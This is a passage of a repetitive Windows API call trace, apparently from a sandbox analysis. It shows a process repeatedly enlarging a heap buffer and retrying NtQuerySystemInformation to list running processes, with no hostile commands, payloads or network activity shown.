(in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x11264) returned 0x25621b8 [0210.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x12288) returned 0x25621b8 [0210.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x132ac) returned 0x25621b8 [0210.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x142d0) returned 0x25621b8 [0210.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x152f4) returned 0x25621b8 [0210.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x16318) returned 0x25621b8 [0210.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1733c) returned 0x25621b8 [0210.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x18360) returned 0x25621b8 [0210.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x19384) returned 0x25621b8 [0210.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1a3a8) returned 0x25621b8 [0210.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0210.512] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0210.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0210.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0210.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0210.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0210.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0210.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0210.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0210.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0210.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0210.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0210.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.664] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xa168) returned 0x25621b8 [0210.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.664] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xb18c) returned 0x25621b8 [0210.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.664] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xc1b0) returned 0x25621b8 [0210.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.665] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xd1d4) returned 0x25621b8 [0210.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.665] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xe1f8) returned 0x25621b8 [0210.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.665] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xf21c) returned 0x25621b8 [0210.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.665] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x10240) returned 0x25621b8 [0210.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.666] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x11264) returned 0x25621b8 [0210.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.666] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x12288) returned 0x25621b8 [0210.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.666] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x132ac) returned 0x25621b8 [0210.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.667] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x142d0) returned 0x25621b8 [0210.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.667] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x152f4) returned 0x25621b8 [0210.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.667] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x16318) returned 0x25621b8 [0210.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.668] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1733c) returned 0x25621b8 [0210.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.668] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x18360) returned 0x25621b8 [0210.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.668] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x19384) returned 0x25621b8 [0210.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.669] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1a3a8) returned 0x25621b8 [0210.669] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.669] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1b3cc) returned 0x25621b8 [0210.669] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0210.669] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0210.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0210.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0210.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0210.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xa168) returned 0x25621b8 [0210.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xb18c) returned 0x25621b8 [0210.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xc1b0) returned 0x25621b8 [0210.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xd1d4) returned 0x25621b8 [0210.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xe1f8) returned 0x25621b8 [0210.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xf21c) returned 0x25621b8 [0210.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x10240) returned 0x25621b8 [0210.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x11264) returned 0x25621b8 [0210.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x12288) returned 0x25621b8 [0210.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x132ac) returned 0x25621b8 [0210.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x142d0) returned 0x25621b8 [0210.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.793] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x152f4) returned 0x25621b8 [0210.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x16318) returned 0x25621b8 [0210.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1733c) returned 0x25621b8 [0210.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.794] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x18360) returned 0x25621b8 [0210.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.795] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x19384) returned 0x25621b8 [0210.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.795] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1a3a8) returned 0x25621b8 [0210.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.795] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1b3cc) returned 0x25621b8 [0210.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0210.796] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8948 [0211.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0211.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0211.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0211.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0211.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0211.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0211.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0211.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0211.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0211.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0211.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0211.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0211.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0211.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0211.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0211.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0211.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0211.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0211.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0211.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0211.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0211.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0211.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.153] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0211.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.153] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0211.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.154] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0211.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.154] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0211.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.154] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0211.154] NtQuerySystemInformation (in: 